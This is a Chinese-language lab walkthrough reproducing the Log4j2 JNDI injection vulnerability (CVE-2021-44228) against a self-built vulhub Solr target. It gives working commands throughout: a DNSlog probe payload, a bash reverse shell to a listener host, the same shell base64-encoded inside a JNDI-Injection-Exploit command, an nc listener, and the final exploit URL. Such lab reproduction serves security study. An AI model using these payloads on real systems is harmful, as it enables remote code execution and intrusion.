仅供技术学习和参考交流,请勿用于违法行为!!!!!!
本文对Apache log4j2(CVE-2021-44228)进行漏洞复现,Apache Log4j2是一个基于Java的日志记录工具,2021年12月9日爆出Log4j2组件在处理程序日志记录时存在JNDI注入漏洞,掀起了不小风浪。
工具:
- 攻击机:win10笔记本 192.168.64.1
- 靶机:vulhub 192.168.64.170
- 模拟VPS:win10 192.168.64.149
软件工具:
- Burpsuite
- JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
- vmware
- netcat
本次采用的靶场是自己在CentOS7上搭建的vulhub靶机,需要使用docker启动,需要的同学自行安装。
vulhub下载:https://github.com/vulhub/vulhub
JNDI-Injection-Exploit下载:https://github.com/welk1n/JNDI-Injection-Exploit //需要自己编译jar包
漏洞复现过程:
1.打开靶机,启动靶场,靶场端口为8983。
2.使用攻击机浏览器访问靶场地址http://192.168.64.170:8983
3.查看各功能,发现Add Core页面有添加功能,猜想应该可以传参
4.打开burpsuite代理,点击add core进行抓包
抓包看到确实有传参,这里应该是注入点。并发现url为:/solr/admin/core 打开浏览器访问此url。
5.因为这个漏洞没有回显,所以要检测其漏洞是否存在,需要借助dnslog来查看是否有回显。
doslog地址:http://www.dnslog.cn/ dnslog是一个免费dns解析记录网。我们通过获取一个随机域名,然后构造一个payload让靶机去解析该域名,如果解析成功,dnslog就会记录下其IP。
6.构造payload:payload=${jndi:ldap://dnslog域名},并使用hackbar发送payload。
返回dnslog,看样看到解析记录,说明存在该漏洞。
7.打开模拟的VPS,这里使用VMware的虚拟机模拟公网VPS。
- 构造反弹sehll命令:
bash -i >&/dev/tcp/IP地址/监听端口 0>&1
- 使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all工具开启ldap和rmi监听服务
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,base64编码后的反弹shell}|{base64,-d}|{bash,-i}" -A VPS地址
例如,本次实验VPS的IP地址为192.168.64.149,使用的监听端口为23456。则
反弹shell: bash -i >&/dev/tcp/192.168.64.149/23456 0>&1
base64编码为:YmFzaCAtaSA+Ji9kZXYvdGNwLzE5Mi4xNjguNjQuMTQ5LzIzNDU2IDA+JjE=
执行命令:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzE5Mi4xNjguNjQuMTQ5LzIzNDU2IDA+JjE=}|{base64,-d}|{bash,-i}" -A 192.168.64.149
8.VPS打开CMD,使用nc监听23456端口
命令:nc -lvnp 23456
在JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 目录下打开一个CMD窗口,执行
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzE5Mi4xNjguNjQuMTQ5LzIzNDU2IDA+JjE=}|{base64,-d}|{bash,-i}" -A 192.168.64.149
生成的rmi和ldap则可以用于payload构造。
9.返回攻击机,使用hackbar发送playload。
http://192.168.64.170:8983/solr/admin/cores?payload=${jndi:ldap://192.168.64.149:1389/dr1ohm}
10.在VPS上成功反弹shell。